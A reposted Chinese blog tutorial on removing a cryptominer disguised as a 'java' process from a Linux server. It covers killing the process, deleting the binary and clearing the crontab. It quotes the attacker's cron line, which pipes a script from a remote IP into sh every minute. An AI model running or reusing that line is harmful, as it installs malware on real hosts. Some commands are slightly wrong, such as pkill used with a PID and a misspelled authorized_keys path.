本文转载:https://blog.csdn.net/zzf1510711060/article/details/83015700
一:杀死挖矿程序进程
在服务器上使用top指令查看cpu的使用情况,发现有一个叫java的程序占用cpu高达99.9%
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
5778 root 20 0 373576 2720 404 S 99.9 0.1 1252:00 java
1 root 20 0 43208 3544 2420 S 0.0 0.2 0:04.52 systemd
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
3 root 20 0 0 0 0 S 0.0 0.0 0:00.08 ksoftirqd/0
5 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kworker/0:0H
7 root rt 0 0 0 0 S 0.0 0.0 0:00.00 migration/0
这个是挖矿程序伪装成java程序,用jps查看java进程的时候并没有这个程序。
通过pkill 5778杀死进程
二:删除挖矿程序
我们通过cd /proc/5778(这个java挖矿程序的pid)进入到这个进程的目录然后通过ll命令查看这个进程程序的位置
dr-xr-xr-x 2 root root 0 Oct 11 17:24 attr
-rw-r--r-- 1 root root 0 Oct 11 17:24 autogroup
-r-------- 1 root root 0 Oct 11 17:24 auxv
-r--r--r-- 1 root root 0 Oct 11 17:24 cgroup
--w------- 1 root root 0 Oct 11 17:24 clear_refs
-r--r--r-- 1 root root 0 Oct 10 20:18 cmdline
-rw-r--r-- 1 root root 0 Oct 11 17:24 comm
-rw-r--r-- 1 root root 0 Oct 11 17:24 coredump_filter
-r--r--r-- 1 root root 0 Oct 11 17:24 cpuset
lrwxrwxrwx 1 root root 0 Oct 11 17:24 cwd -> /
-r-------- 1 root root 0 Oct 11 17:24 environ
lrwxrwxrwx 1 root root 0 Oct 10 20:18 exe -> /var/tmp/java
dr-x------ 2 root root 0 Oct 10 20:18 fd
dr-x------ 2 root root 0 Oct 11 17:24 fdinfo
然后我们进入这个程序的目录找到这个程序然后删除
-rwxr-xr-x 1 root root 2386544 Oct 9 15:53 java
rm -rf java
不过做到这里不久之后这个挖矿程序还是会死灰复燃
三:清除挖矿程序的定时任务
因为你的系统中已经被设置了一个定时任务,定时下载挖矿程序并运行
通过crontab -l 查看该用户下的所有定时任务
* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1
无时无刻的静默执行这个cr.sh脚本,还清除了记录,真的是阴啊!
crontab -r 删除定时任务
最后提醒下,服务器的一些高危端口千万不要随便开启啊,如果用阿里云搭建集群的话可以配置安全组规则,针对于特定的主机开放端口,不要对所有ip开放端口。
四:检查用户列表,.ssh文件,开机启动
cat /etc/passwd 检查是否有未知用户
cat ~/.ssh/authrized_keys 检查是否对未知用户授权
cat known_hosts 检查是否有未知的用host
/etc/rc.local /etc/rc.sysinit /etc/inittab /etc/profile 这些开机启动的系统配置目录下面可能有挖矿程序的脚本,检查一下
步骤简化:
1.pkill java 杀掉挖矿程序的进程
2.rm -rf java 删除挖矿程序
3.crontab -r 删除定时任务
4.检查用户列表,开机启动,.ssh文件
5.去阿里云控制台设置安全组关闭不安全端口